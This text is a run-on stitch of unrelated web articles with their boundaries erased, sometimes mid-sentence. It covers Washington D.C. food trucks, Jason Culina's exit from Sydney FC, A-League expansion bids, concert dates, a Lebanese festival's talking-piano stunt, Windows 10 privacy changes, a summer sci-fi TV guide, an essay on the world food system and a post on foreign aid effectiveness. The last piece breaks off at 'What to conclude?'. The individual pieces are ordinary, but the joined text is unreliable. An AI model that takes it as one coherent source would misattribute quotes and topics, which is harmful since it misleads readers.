Our nation’s capital has some of the best food options ranging from a number of diverse cultures in affordable street trucks around the downtown area. D.C. has “Tasty Kabob” which sells some of the most appealing kabobs either in chicken, lamb or veggie versions. The city also has some of the best Hawaiian food around like teriyaki steak and chicken.
D.C has numerous options for popular Vietnamese fare like pho and banh mi-style sandwiches from trucks like “Phonation”, “Pho Wheels” and “Pho Junkies”. There are dessert trucks, pizza and even lobster available through D.C. food trucks moving around the city. With the level of variety and good quality food, D.C is another one of the best cities to find gourmet food trucks in the U.S.JASON Culina's Sydney FC career is over, but the former Socceroo insists he has no plans to quit the game even if he has to wait for another opportunity.
Culina was released by Sydney yesterday after the player and club agreed his position had become untenable in the wake of his fallout with Frank Farina.
Though club officials sought to effect a reconciliation after the two had a furious row at training last Friday, by yesterday a mutual termination had been agreed just hours before the closure of the A-League transfer window.
Farina made it clear he had no intention of picking Culina after the two exchanged heated words when the midfielder realised he would not be starting against Brisbane on Sunday.
Having exchanged words with Culina on a previous occasion, Farina felt he had no choice but to draw a line in the sand and refused to back down.
It brought dramatic closure to Culina's four-month stint at the club after his two-year battle to return from knee-altering surgery, but the player said he bore no grudges over the manner of his departure.
"Things happen in football and unfortunately my time with Sydney is over," Culina said
last night.
"I want to try to stay positive, and I'd like to thank Sydney for giving me the opportunity to play again.
"I initially went to Sydney because of my relationship with (physio) Stan Ivancic and I have a lot to thank him and his team for, for all the time they invested in me. Without their help things would have been very different.
"But physically now I'm feeling the best I have since I made a comeback, and I believe I've still got a lot of football left in me.
"I'm passionate that I want to keep playing.
"I still love the game."
Culina admitted that the manner of his exit meant there might be nothing on the horizon immediately.
With the closure of the A-League transfer window last night, Culina will have to seek special dispensation from FFA to be allowed to sign for another club in Australia, though the circumstances of his departure are likely to be looked on favourably in that respect.
"I'd like to play as soon as possible and get back out
on the pitch, but until that happens I'll keep fit by myself," Culina said.
"In the circumstances, I know I might have to be patient and wait until something comes up, whether it's in the A-League or abroad.
"I'll keep working hard but I might have to wait."
It's also unclear where Culina might sign at least locally, with Melbourne Heart believed to be on the verge of announcing the signing of Dutch holding midfielder Marcel Meeuwis until the end of the season, as a replacement for the retired Vinnie Grella.
Central Coast Mariners are seeking a replacement striker to cover the injury to Adam Kwasnik, but Melbourne Victory are believed to have ruled out taking Culina.
Originally published as This is not the end vows CulinaEXPANSION chat is red-hot in Australian football at the moment.
Where should FFA expand and when?
David Davutovic and Matt Windley assess the interested parties, with more on their way.
What are your thoughts?
Round 21 Visit Match Centre Visit Match Centre Visit Match Centre Visit Match Centre Visit Match Centre
Vote for your choice at the foot of the page and then scroll down from 12pm AEDT for our weekly Studs Up football chat.
TASMANIA: Read more here
Population: 550,000
Stadium: North Hobart Oval (18,000) and Aurora Stadium (21,000)
Products: David Clarkson, Dominic Longo, Alex Cisak
Ideal signing: Steven Gerrard
Ideal coach: Harry Kewell
Bankrolled by business heavyweights Harry Stamoulis and Rob Belteky, the Tasmania bid has strong government support and ripper stadium deals.
SOUTH-WEST SYDNEY (CAMPBELLTOWN-LIVERPOOL)
Population: 400,000
Stadium: Campbelltown Sports Ground (20,000)
Products: Brett Emerton, David Carney, Matt Thompson
Ideal signing: Mile Jedinak
Ideal coach: Mark Rudan
The south-west corridor is NSW’s fastest growing region with a love of soccer, an ideal stadium and 50km away from Wanderland.
SOUTHERN SYDNEY
Population: 360,000
Stadium: Shark Park (22,000)
Products: Alex Gersbach, Chris Ikonomidis, Joel Griffiths
Ideal signing: Wayne Rooney
Ideal coach: Harry Kewell
Lined up to replace Wellington before FFA backflipped. The Sutherland Shire has Australia’s most registered players and a perfect stadium.
WOLLONGONG
Population: 290,000
Stadium: WIN Stadium (23,000)
Products: Scott Chipperfield, Mile Sterjovski, Luke Wilkshire
Ideal signing: Luke Wilkshire
Ideal coach: Jacob Timpano
Has the history, has the fervant supporter base and every time an A-League or FFA Cup game is played there the crowds turn out in droves.
GEELONG
Population: 300,000
Stadium: Simonds Stadium (36,000 once complete)
Products: Josip Skoko, Matthew Spiranovic, Steve Horvat, Adrian Leijer.
Ideal signing: Adrian Leijer
Ideal coach: Josip Skoko
A rich soccer history and geographic divide from the Melbourne duo,
Geelong could represent the western region and Bellarine Peninsula.
SOUTH MELBOURNE
Membership: 2500
Stadium: Lakeside Stadium (12,000)
Products: Ange Postecoglou, Paul Trimboli, Con Boutsianis
Ideal signing: Giorgios Samaris
Ideal coach: Chris Taylor
An existing, passionate and engaged fan base plus an entire junior and women’s setup, which no A-League club has.
SOUTH-EAST MELBOURNE (DANDENONG-CASEY)
Population: 1,200,000
Stadium: New stadium at Dandenong Showgrounds/Casey Fields
Products: Vince Grella, Eugene Galekovic, Jackson Irvine, Scott McDonald
Ideal signing: Scott McDonald
Ideal coach: Mark Bresciano
A burgeoning and multicultural population base, with strong participation numbers. It’s down the same corridor as former VFL/AFL showpiece Waverley Park.
BRISBANE STRIKERS
Membership: 1000
Stadium: Perry Park (5000 – needs to be redeveloped)
Products: Matt McKay, Kasey Wehrman, Rod Brown
Ideal signing: Robbie Kruse
Ideal coach: Frank Farina/Miron Bleiberg
Former A-League coach Miron Bleiberg associated with a serious bid by the
former National Soccer League champion.
IDEA: Northern Fury chief’s expansion proposal
RUDAN: Brisbane needs a second team
WEST ADELAIDE
Membership: 800
Stadium: Coopers Stadium (15,000)
Products: John Kosmina, Paul Agostino, Stan Lazaridis
Ideal signing: Nathan Burns
Ideal coach: John Kosmina/Paul Pezos
The only serious hand up thus far to become Adelaide’s second team and they’ve sounded out Robbie Fowler to become coach.
CANBERRA
Population: 380,000
Stadium: GIO Stadium (25,000)
Products: Josip Simunic, Carl Valeri, Tom Rogic, Jason Geria
Ideal signing: Nikolai Topor-Stanley
Ideal coach: Josip Simunic
Canberra has long been touted as an A-League hopeful. A pristine stadium, one wonders whether there is enough local backing.
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(Sydney Festival)1/22 Melbourne, Australia, - Northcote Social Club1/23 Melbourne, Australia - Northcote Social Club1/24 Brisbane, Australia, - Blackbear Lodge1/25 Sydney, Australia - The Famous Spiegeltent (Sydney Festival)1/26 Parramatta, Australia - The Idolise Spiegeltent1/27 Parramatta, Australia - The Idolise Spiegeltent2/7 Adelaide, Australia, - The Grace Emily2/8 Perth, Australia - Perth International Arts Festival"We created this concept to engage with people and bring a smile to their faces and a warm feeling in their hearts. Lebanon and the region are going through difficult times and it is important to remind ourselves that not all is doom and gloom and that hope remains.
We chose an activation rather than a traditional ad because we wanted to rejuvenate and democratize classical music. Al Bustan is not a festival for the snobby elitists and the old. By engaging youngsters and entertaining the mass, we highlight the fact that this festival is within reach and welcomes any person who appreciates good music.
The activation and movie was produced in collaboration with Caiman production house."
Ah!So Al Bustan International Festival is currently running, and well, they're all over town chirping and advertising.In a super strategic move delivered by Blitz Agency, they placed a piano at ABC Dbayeh. More specifically, a talking piano.A sci-fi voice emitted from the piano urges the mall's passersby to 'play him'.Naturally, there's a rep somewhere out there, remote-controlling what the piano voices all the while spying via a hidden cam.When the person who's playing sucks, the piano basically tells him to F off. When the person plays well, he oohs and ahhs.At some point, the piano releases tickets to Al Bustan Festival. Which could be pricey, so that's a nice perk for randomly tinkering around with a charismatic piano.Dalia Nahas, Creative Director at Blitz, filled me in:Wish we could rent this work of instrumental delight. I really need an incentive to start playing the piano.Ps. if you're interested in Al Bustan International Festival, performances are ongoing until March 22. You can see the program here, and purchase tickets at all Antoine branches.There’s the thing about Windows 10: you give up control. Control over updates (especially poor Windows 10 Home users) and control over privacy, but Microsoft has finally admitted the latter is a serious problem and is taking action…
In a blog post Terry Myerson, Microsoft's Executive Vice President of the Windows and Devices Group, said the words millions have been waiting to hear:
“Many of you have asked for more control over your data, a greater understanding of how data is collected, and the benefits this brings for a more personalized experience. Based on your feedback, we are launching two new experiences to help ensure you are in control of your privacy.”
These can be broken down as follows:
The Microsoft Privacy Dashboard
Sign in with your Microsoft account and visit account.microsoft.com/privacy and Microsoft will now provide concise information on your browsing history, search history, location activity, and Cortana’s Notebook.
The layout for this is promising (pictured above) and should immediately provide greater visibility and control over your data. Furthermore Microsoft pledges to continue adding new functionality and categories over time.
Privacy Improvements in the Creators Update
Arguably even more important, however, are two changes being made to the Windows 10 Creators Update when it is released in the next few months (and yes, it’s still a stupid name - ‘Windows 10.2’ would be fine!).
Overhauled Privacy Settings On Install/Update - say goodbye to the rubbish ‘Express Settings’ screen on first install, with the Windows 10 Creators Update you’ll get clear but simply worded explanations and toggle switches. Users upgrading to the Creators Update will also be prompted to use after updating.
Simplified Diagnostic Data - more detail is needed here before judging the benefits but three collections levels are being cut down to just two: ‘Basic’ and ‘Full’. Basic will have only “data that is vital to the operation of Windows” which Microsoft defines are central to “keep Windows and apps secure, up-to-date, and running properly”.
Again you’ll be prompted to review your choice after installing the Creators Update.
Why So Long? And New Questions On The Horizon
It is said the first step towards admitting you have a problem is admitting you have a problem. But Microsoft has skipped this by both (finally) admitting its problem and coming up with some solutions in a single step. That’s commendable, though I’d prefer to have had an admission much earlier and a “We’re working on it!” message.
On top of this, the Creators Update looks set to raise as many questions as it answers due to something it will add called ‘Dynamic Lock’. This uses your PC’s web camera to monitor when you are sat in front of it so it can be automatically locked when you step away. Users will be able to disable Dynamic Lock, which solves my concerns, but it is likely to start a whole new wave of conspiracy theories.
Furthermore Microsoft must still address the issue of control over Windows 10 updates. The Creators Update introduces the option to delay the installation of non-security updates for up to 35 days, but only Windows 10 Professional, Education and Enterprise versions qualify.
This means Microsoft recognises users’ need for control but the company continues to treat mainstream Windows 10 Home users as guinea pigs for the stability of new updates before they are provided to big business. That needs to stop and users of all versions deserve the right to have control over their PCs, should they want it.
Despite all this, it is clear Microsoft is making significant steps in the right direction with Windows 10. It just shouldn’t have taken so many obviously wrong ones in the first place.
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More On Forbes
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Microsoft Makes Significant Windows 10 Design Changes
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Microsoft Admits Serious Windows 10 Upgrade Error
Microsoft 'Ends' Windows 7 And Windows 8Updated for new ABC Family series Stitchers
As of the current count, I see ten eleven new sci fi / fantasy shows set to debut in the months of June through July (and that’s tacking on Golan the Insatiable because it’s right on the cusp with its May 31st premiere). That’s quite a lot considering the hot months also have (at current count) over a dozen returning shows (you can see the full schedule at this link). So which ones are worth watching? Hard to say, especially for some of the new entries, but below is my guide to each of those. I have included the official synopsis for each with my comments beneath the entries. They are listed in order of their premiere dates (links are to the show’s page on this site):
Golan the Insatiable (FOX, Debuted May 31st): Golan is the dark lord or an alternate universe, that comes to our world and is befriended by a little goth girl and her family and buffoonery ensue as he deals with everyday life. IMDb.com
Johnny Jay Says: I never caught this one when it ran on FOX’s Animation Domination, and I haven’t seen the premiere yet (but it’s in my queue). Looks like it might be worth giving a look for some Summer chuckles, though.
The Whispers (ABC, Debuts June 1st): We love to play games with our children. But what happens when someone else starts to play with them too? Someone we don’t know. Can’t see. Can’t hear. In The Whispers, someone or something — is manipulating the ones we love most to accomplish the unthinkable. ABC.com
Johnny Jay Says: This is based on the Ray Bradbury short story “Zero Hour” which definitely has me intrigued. But it was originally scheduled to bow at mid-season before getting pushed to a Summer run which has me worried that it may be starting off DOA just like The CW’s The Messengers. I’m still going to give it a look.
Stitchers (ABC Family, Debuts June 2nd): Follows Kirsten, a young woman recruited into a covert government agency to be ‘stitched’ into the minds of the recently deceased, using their memories to investigate murders and decipher mysteries that otherwise would have gone to the grave. Working alongside Kirsten is Cameron, a brilliant neuroscientist whose passion for the program is evident in his work. The secret program is headed by Maggie, a skilled veteran of covert operations, and includes Linus, a socially immature bioelectrical engineer and communications technician. Kirsten’s roommate, Camille, a gifted computer science grad student, is also recruited to use her skills to assist Kirsten in her new role as a ‘stitcher.’ ABCFamily.com
Johnny Jay Says: Yet another series about someone who talks to/communicates with/sees through the eyes of/channels dead people and uses the information to solve crimes. This one has received almost no promotion (I just stumbled on its existence today), which is not necessarily a good sign. I know I will be passing on it.
Sense8 (Netlfix, Debuts June 5th): One gunshot, one death, one moment out of time that irrevocably links eight minds in disparate parts of the world, putting them in each other’s lives, each other’s secrets, and in terrible danger. Ordinary people suddenly reborn as “Sensates.” Netflix
Johnny Jay Says: Will we get the good Wachowski brothers (Matrix) or the bad Wachowski brothers (Jupiter Ascending)? And will J. Michael Straczynski be able to temper their excesses? The early reviews have not been great on this one, but if JMS is involved then I have to check it out.
Dark Matter (Syfy, Debuts June 12th): In Dark Matter, the crew of a derelict spaceship is awakened from stasis with no memories of who they are or how they got on board. Facing threats at every turn, they have to work together to survive a voyage charged with vengeance, betrayal and hidden secrets. Syfy.com
Johnny Jay Says: The first of two Syfy Summer space-based shows (the other being Killjoys) and some high expectations are coming with this one. It was created by Stargate vets Joseph Mallozzi and Paul Mullie and is based on their comic book series of the same name. The network is hoping this can become one of their next flagship franchises, so the pressure is on. I will definitely be tuning in.
Proof (TNT, Debuts June 16th): Jennifer Beals plays Dr. Carolyn Tyler, who has suffered the recent, devastating loss of her teenage son, the breakup of her marriage and a growing estrangement from her daughter. Carolyn is persuaded by Ivan Turing (Modine), a cancer-stricken tech inventor and billionaire to investigate cases of reincarnation, near-death experiences, hauntings and other phenomena, all of it in the search for evidence that death is not the end. TNTDrama
Johnny Jay Says: This series may only have minimal genre elements but still may be of interest to those who have tuned into supernatural dramas like Ghost Whisperer and Medium. It does have the added bonus of having Eureka‘s Joe Morton (an all-time favorite actor of mine) onboard in a supporting role, but I can’t say this will be high on my Summer viewing list.
Killjoy s (Syfy, Debuts June 19th): Killjoys follows a fun-loving, hard living trio of interplanetary bounty hunters sworn to remain impartial as they chase deadly warrants throughout the Quad, a distant system on the brink of a bloody, multiplanetary class war. Syfy.com
Johnny Jay Says: The second of Syfy’s space-based Summer entries (the other being Dark Matter), this looks like it could be just good shoot-em-up fun. It might pair up well with TNT’s GI-Joe-saves-the-world series The Last Ship.
Humans (AMC, Debuts June 28th): A bold new eight-part drama series from AMC, Channel 4 and Kudos, is set in a parallel present where the latest must-have gadget for any busy family is a ‘Synth’ – a highly-developed robotic servant eerily similar to its live counterpart. AMCTV.com
Johnny Jay Says: Coming from AMC, this one has some pedigree to live up to as that network has produced two of the best shows television ever with The Walking Dead and non-genre entry Breaking Bad (and I hear that Mad Men show wasn’t half bad either). This one is currently at the top of my Summer viewing list and I hope AMC lets it fully explore some of the interesting concepts in its premise.
Zoo (CBS, Debuts June 30th): A global thriller about a wave of violent animal attacks against humans sweeping the planet. James Wolk will play Jackson Oz, a young, renegade American zoologist who spends his days running safaris in the wilds of Africa when he begins noticing the strange behavior of the animals. As the assaults become more cunning, coordinated and ferocious, he is thrust into the race to unlock the mystery of the pandemic before there’s no place left for people to hide. CBS.com
Johnny Jay Says: This one sounds like it could deliver some good, dumb fun with its global/ecological disaster premise in the same vein as TNT’s The Last Ship. I think they would be best advised to keep it action-packed and not too heady (just like the other show mentioned) for it to appeal to the Summer audience. Seems like it could be a good counter-balance to the heavier material that Humans and Fear the Walking Dead will deliver (both of which are topping my Summer viewing list).
Scream (MTV, Debuts June 30th): What starts as a YouTube video going viral, soon leads to problems for the teenagers of Lakewood and serves as the catalyst for a murder that opens up a window to the town’s troubled past. Everyone has secrets. Everyone tells lies. Everyone is fair game. MTV.com
Johnny Jay Says: How do you do Scream without ghostface (which is the current plan as I understand it)? For that matter, how do you drag this out into an ongoing series? The movie franchise was already getting tired by its third entry, so I don’t have a lot of confidence in this show breathing new life into the original concept.
Fear the Walking Dead (AMC, Debut TBD): What did the world look like as it was transforming into the horrifying apocalypse depicted in The Walking Dead? This summer, AMC will answer that question with Fear The Walking Dead, an all-new original series set in Los Angeles, following new characters as they face the beginning of the end of the world. AMCTV.com
Johnny Jay Says: This seems like a can’t miss entry as it expands on the world of The Walking Dead and gives us a look at the early days of the zombie-pocalypse. This one, along with the same network’s Humans, will be topping my viewing list for the Summer.There’s a powerful narrative being told about the world’s food system — in classrooms, boardrooms, foundations and the halls of government around the world. It’s everywhere. And it makes complete sense when you listen to it. The problem is, it’s mostly based on flawed assumptions.
You’ve probably heard it many times. While the exact phrasing varies, it usually goes something like this: The world’s population will grow to 9 billion by mid-century, putting substantial demands on the planet’s food supply. To meet these growing demands, we will need to grow almost twice as much food by 2050 as we do today. And that means we’ll need to use genetically modified crops and other advanced technologies to produce this additional food. It’s a race to feed the world, and we had better get started.
To be fair, there are grains of truth in each of these statements, but they are far from complete. And they give a distorted vision of the global food system, potentially leading to poor policy and investment choices.
To make better decisions, we need to examine where the narrative goes off the rails.
Changing Diets, Not Population Growth, is the Dominant Driver of Food Demand
While we often hear that population growth, and the need to feed 9 billion people by 2050, is the driving issue for agriculture in the coming decades, the math doesn’t add up.
There are more than 7 billion people on Earth today, and we’re expected (if current demographic trends continue unabated) to reach 9 billion by mid-century. Two billion more people in the next 40 years — that’s roughly a 28 percent increase. If those additional 2 billion people were to eat the average diet (which is actually unlikely, since most of these people will be added to the poorest regions of the world, where diets are very minimal) that would mean we need roughly 28 percent more food. It’s just simple math.
It’s crucial to note that we’re talking about the world’s choices, not a predetermined path. What we choose to do about population growth, and especially what we do about diets, will determine how much food the world ultimately needs.
So where does the “twice as much” idea come from? Mostly from assumptions about changing diets, not population growth alone.
In fact, ecologist David Tilman, a friend of mine, and his colleagues have shown that changes in diet will likely be the dominant driver of future food demand. The reason is simple: While population is projected to grow by 2 billion between now and 2050, there are about 3 to 4 billion people on Earth already who are getting richer — mainly in China, India and some other countries — and, if recent history is a guide, these richer people are expected to eat richer diets. That means 3 to 4 billion more people eating more meat, more dairy products, and other rich foods, putting tremendous pressure on the global food system.
Food Demand: We Have a Choice
According to Tilman and his colleagues, increasing wealth and projected increases in meat consumption could drive up global food demand much more than population growth alone. The researchers suggest that roughly one-third of future food demand increases may come from population growth, and roughly two-thirds may come from increasing wealth and richer diets. Of course, increasing reliance on crop-based biofuels would only add to the pressure.
But it’s crucial to note that we’re talking about the world’s choices, not a predetermined path. What we choose to do about population growth, and especially what we do about diets, will determine how much food the world ultimately needs. While there are powerful demographic and economic forces at work here — with a great deal of momentum behind them — the path is still ours to choose. Concerted efforts to reduce population growth, but more importantly to steer diets onto a more sustainable path, could dramatically reduce these projected demands. The script hasn’t been completely written yet.
People often confuse growing more crops with making more food available to the world. They’re not the same thing.
We could do much to ease the pressure on the global food system by looking first at transforming diets where they are already very rich, like North America and Europe. Shifting to less meat-intensive diets in these regions could have dramatic impacts on the food system. But just as important is to focus on the changing diets of newly affluent people — for example, new middle-class people in the cities of China, India, Indonesia and elsewhere. Will they continue to eat a mostly plant-based diet, with little waste, or will they move toward a meat-rich Western diet? In fact, what these people choose to eat in the coming decades will determine much of the future of the world’s food system.
Growing More Crops Is Not the Only Way to Get More Food on the Table
But no matter how much we can curb the growth in future food demand, we will need to grow more crops, right?
Yes, we probably will need to grow more crops, but not as much as this narrative suggests. That’s because people often confuse growing more crops with making more food available to the world. They’re not the same thing. What we really need to do is deliver more food and good nutrition to the world. And there is another way to deliver more food to the world besides simply growing more crops: Better use of the crops we already grow, making sure they create as much nutritious food as possible.
Sadly, we rarely hear about this option, and are instead told over and over again about ways to grow more crops. It reminds me of when some politicians have talked about energy policy in the past, and yelled “Drill, Baby, Drill!” I think we’re obsessed with a “Grow, Baby, Grow!” mentality in agriculture too. In this mindset, it’s all about supplying more — more energy, more crops, more whatever. What’s missing is how we can better use the resources we have today, through reducing waste and better managing our demands. Buying a bigger furnace for your house because it’s cold and drafty in the winter, without even checking if the windows are well sealed or if the attic and the walls are insulated, is shortsighted and misguided. The same is true in agriculture.
If we need more food on the table — and we very likely will — a sensible strategy would take a balanced approach, looking at supply side and demand side solutions. Why would we leave half of our potential solutions off the table?
Food waste alone takes roughly 30 to 40 percent of the world’s calories, but it rarely receives the attention is deserves. (While we can’t fully eliminate food waste, surely we can cut it substantially in the coming decades.) Meanwhile, the use of crops for animal feed (instead of for direct human consumption) can be extremely inefficient in feeding people. Furthermore, some key crops are increasingly being used for biofuels, at the expense of producing food. Altogether, this leaves tremendous opportunities to feed more people with the same level of crop production by shifting more of our animal agriculture to pastures and grass-fed operations, and moving biofuel production away from food crops. Basically, how we use crops matters as much as how many crops we grow.
My colleague Emily Cassidy recently made this point very clearly. She noted that the typical Midwestern farm could theoretically provide enough calories to feed about 15 people daily from each hectare of farmland. But there’s a catch: People would need to eat the corn and soybeans these farms grow directly, as part of a plant-based diet, with little food waste. What Cassidy found was that the actual Midwestern farm today provides only enough calories to feed roughly five people per day per hectare of farmland, mainly because the vast majority of the corn and soybeans are being used to make ethanol or to feed animals. Amazingly, feeding five people per day per hectare is comparable to the production of an average farm in Bangladesh today.
In other words, we grow a lot of crops, but it’s not translating to as much food. So we can deliver more food by rethinking how we use our crops — whether for plant-based diets, feeding animals to make meat and dairy products, or making biofuels — and by not wasting them. If we need more food on the table — and we very likely will — a sensible strategy would take a balanced approach, looking at supply side and demand side solutions. Why would we leave half of our potential solutions off the table?
GMOs and Other Advanced Technologies Aren’t Really Giving the World More Food
The final piece of the widespread food narrative is that we will need genetically modified organisms and other advanced technologies to feed a growing world.
I’m not so sure.
Before I begin, I am going to state for the record that I hold a neutral position on GMOs. From my read of the current scientific literature, I do not believe that GMOs pose an obvious health threat (although more research should be done on this), nor do they seem to pose any direct environmental threat. Most of the concerns I hear about genetically modified crops are mainly related to how they are used by large corporations in giant monocultures, which are experiencing herbicide-resistant weeds, declining pollinators and so on. But these seem to be mainly problems with vast monocultures, not GMOs per se. GMOs may, in fact, be able to reduce pesticide use and help farmers reduce soil tillage, leaving more organic matter and nutrients in the soil. Maybe GMOs can actually do some good, if used wisely. So I try to keep an open mind about them.
While future genetically modified crops could add other beneficial plant traits, which might help boost productivity in crucial crops, I think the best answers lie elsewhere.
But I am unsure whether GMOs are actually delivering substantially more food to the world. In fact, as far as I can tell, they aren’t. Why? Just consider how GMOs are used: Roughly 10 to 15 percent of the world’s cropland is growing GMOs today, mainly for five crops — feed corn, soybeans, cotton, canola and sugar beets. The vast majority of those crops are not feeding people directly, but rather are being used as animal feed, biofuel feedstock or fiber. Of this list, only canola and sugar beets are mainly “food” crops. Furthermore, the GMO traits currently being used today mainly give plants the ability to fight off insects (the so-called “Bt” trait) or to withstand herbicides (the so-called “Roundup Ready” trait). While reducing losses to insects and weeds is important in maintaining high crop yields, most farmers, especially in the U.S., simply switched one method of insect- and weed-control (e.g., more frequent tillage, a broader mix of herbicides and pesticides) with another. These GMOs haven’t made fundamental changes in plant growth or photosynthesis (that has not yet been done with GMOs in practice); they mainly traded one set of pest- and weed-control systems with another. These “turnkey” solutions for pests and weeds have made big farms more efficient, more profitable, and maybe offered some environmental benefits because of reduced tillage and chemical use. But large, sustained yield improvements have not been a major outcome, except for possibly cotton in India, where pest losses were quite severe and ongoing.
While future genetically modified crops could add other beneficial plant traits, which might help boost productivity in crucial crops, I think the best answers lie elsewhere.
Work in our lab, led by Nathan Mueller, has shown how focusing on improved soil nutrition and water availability is key to boosting crop yields around the world. Mueller’s research shows that in developing countries many places exhibit substantial “yield gaps” — the difference between the crop yields we see today, and the crop yields that are possible with improved farming practices — which can be largely closed by improving agronomic practices, such as adding organic matter, small doses of fertilizer (chemical or organic), and extra water (especially with efficient systems like drip irrigation). At this point, it’s hard for me to imagine how GMOs would dramatically help farmers in poor countries right now, where yield gaps are large, especially when yields are currently limited by the availability of soil nutrients and water.
The prevailing narrative about the global food supply needs to be replaced by a more accurate narrative that can better guide future investments and decisions.
Of course, GMOs and other advanced technology might be able to help in the quest for a food-secure world, especially if they are not primarily used in large monocultures of nonfood crops, but they are no silver bullet. Hopefully they can help. But in the near-term, I’m placing my bets on lower-technology approaches, targeted at small landholders, especially for improved soil and water management.
Shifting to a New Narrative
While the prevailing narrative about the global food supply is persuasive and sounds very logical, it is actually based on several wrong assumptions. It needs to be replaced by a more accurate narrative that can better guide future investments and decisions.
The new narrative might sound something like this: The world faces tremendous challenges to feeding a growing, richer world population — especially to doing so sustainably, without degrading our planet’s resources and the environment. To address these challenges, we will need to deliver more food to the world through a balanced mix of growing more food (while reducing the environmental impact of agricultural practices) and using the food we already have more effectively. Key strategies include reducing food waste, rethinking our diets and biofuel choices, curbing population growth, and growing more food at the base of the agricultural pyramid with low-tech agronomic innovations. Only through a balanced approach of supply-side and demand-side solutions can we address this difficult challenge.
These are big challenges, and there are no simple solutions. As a first step, though, we at least need to be sure that we get the story about the food system straight. After all, if we’re not even starting at the right place, we certainly will not end up at the right destination.
Editor’s note: The views expressed here are those of the author and not necessarily of Ensia. We present them to further discussion around important topics. We encourage you to respond with a comment below, following our commenting guidelines, which can be found here. In addition, you might consider submitting a Voices piece of your own. See Ensia’s “Contact” page for submission guidelines.The policy debate around whether foreign aid—now $138.5 billion a year—works has been polarized between the “Oh yes it does” camp and those who respond “Oh no it doesn’t.” (Christmas pantomime anyone?)
Related Experts Andy Sumner Visiting Fellow
Claims that aid is responsible for impressive improvements in human development over the past couple of decades are clearly not credible. Yet, equally difficult to sustain are claims that aid has been entirely useless. It’s more useful to ask when aid works, not whether.
Scholarly studies have been doing just that for at least a decade. So Jonathan Glennie (now director of policy and research at Save the Children) and I thought we’d take a look and review the state of thinking on aid effectiveness. Specifically, we looked at the cross-country, peer-reviewed, econometric studies that focus on assessing if or under what conditions aid is effective in achieving its stated outcomes, particularly those related to economic growth or social development. The resulting CGD Policy Paper is here.
Before reaching any conclusions, however, we had to overcome some definitional challenges:
What does ‘work’ even mean?
Take growth, for example. Does aid ‘work’ when growth is higher than it would have been without aid? Or is it establishing the preconditions for self-sustained growth without aid in the future? Or is it a contribution to growth that represents value for money (however that is defined)?
In our paper we are constrained by how the literature has approached this question. We thus take aid ‘working’ or ‘effective aid’ to mean aid that contributes to or is associated with, even if only modestly, positive development outcomes such as economic growth and social development. Of course, the lack of a counterfactual is the biggest barrier to ever knowing for certain the impact of aid.
What counts as aid?
Aid is delivered in many forms and has diverse and complex objectives and motivations. It is quite plausible and, given the copious amounts of conflicting opinions on the subject, also probable that different types of aid achieve (or don’t achieve) different objectives.
Most of the recent econometric studies our paper reviews use effective development assistance, which is an aggregate measure of aid flows that includes all grants and grant equivalents of loans. In other words, it’s a measure of concessional transfers to developing countries that emanate from governments of donor countries (funded by taxpayers of these countries) and that at least in principle or in claimed intent aim to contribute to development.
So, what did we find?
First, the majority of studies on aid are positive—but the impact of aid is often modest. Of course there are numerous methodological caveats as we discuss though suffice to say a review of studies puts aid skeptics in the minority at the moment.
Regarding social development, there are relatively few studies, so caution is required. Still, the cross-country education aid studies and monetary poverty studies are positively associated with growth, and health aid studies, while more mixed overall, are also mostly positive.
However, emerging from all of the reading was one fact—the conditions under which aid works are mentioned in most studies. We developed a way of mapping this as: (1) the country context, meaning the characteristics of the recipient country and national government policies; and (2) aid management, meaning the characteristics of aid and donor policies and practices.
We then took a look to see where we might say there are signs of convergence or signs of divergence or insufficient studies to make any judgment.
We also linked our discussion to the other aid effectiveness literature—the policy literature of Paris/Busan and so forth.
We found four factors likely to improve aid effectiveness suggesting donors might want to look at each of the as country level.
First, aid levels: aid is more likely to work in the correct dosage but is ineffective if too high or too low.
So more aid is good for the world’s poorest countries right? Not necessarily so. One needs to consider existing levels of aid. Aid is likely to have diminishing returns as it grows relative to the size of the economy and those returns can even turn negative. In addition, at low levels, aid may have little impact on growth. But there are differences in the level below or above which aid is ineffective in promoting growth.
This is an important finding not because it is surprising—it shouldn’t be—but because of the neglect of this critical element of aid effectiveness in policymaking circles. In the most important aid effectiveness process (the Paris agenda and its successor meetings) the issue barely merited a mention.
Second, domestic political institutions: aid is more likely to work if the institutions are in place—for example, political stability and not too much decentralisation.
Also unsurprising is that some of the papers we review emphasize the role of domestic political institutions. Although an article of faith for many for at least a decade, the type of domestic political institutions likely to increase aid effectiveness is less clear. Political stability and levels of decentralization are two issues the evidence points towards. The difficulty here is whether donors can do much about these or accept working in contexts with certain kinds of institutions is likely to be less effective.
Third, the aid composition: aid is likely to be more effective in certain sectors and aid objectives and time horizons matter a lot.
The effectiveness of aid depends on its objectives, sectors, modalities, and time horizons—essentially what the aid is intended for. For example, aid effectiveness for growth is improved if aid focuses on ‘developmental aid’ (i.e., aid that seeks to promote development objectives such as growth) or if the composition of aid is directly aimed at affecting growth (e.g., building roads, ports and electricity generators, supporting agriculture).
Additionally, budget support (or ‘program’ aid) and project aid for real sector investments is likely to be more effective for growth than other types of aid. But caution is required as aid in sectors like health and education may only affect growth after a long period of time and thus may simply be difficult to detect rather than be non-existent.
Fourth, aid predictability and concentration: aid is likely to be more effective if it is not volatile and fragmented.
While our finding on aid levels is nearly absent from dominant aid effectiveness debates, our finding on aid volatility is ubiquitous in them. Reducing aid volatility and fragmentation has been a key feature of the Paris agenda. Unfortunately, this focus has not led to significant improvements. According to the 2011 Paris Declaration Monitoring Survey, only 43 percent of aid was predictable in 2010 (compared to 42 percent in 2005) and there was a similarly disappointing increase in the use of common arrangements, joint donor missions, and joint analytical work.
And finally, two big unknowns
There are two areas where there is little convergence in the evidence, despite oft-cited claims to the contrary.
The first is goodie-goodie—read orthodox— macroeconomic policy. Bill Easterly’s 2004 rebuttal placed a large question mark over a previous core belief in official development circles that aid supports growth when the recipient country is implementing certain macroeconomic policies generally described as ‘good’ or orthodox policies. Now there is no consensus. There are studies on both sides of the fence.
And the second is that there is no consensus that grants are better than loans (or vice versa) for aid effectiveness. This is not to say that in different contexts grants may be more appropriate than loans, or vice versa, simply that there no generalizations can be made.
What to conclude?
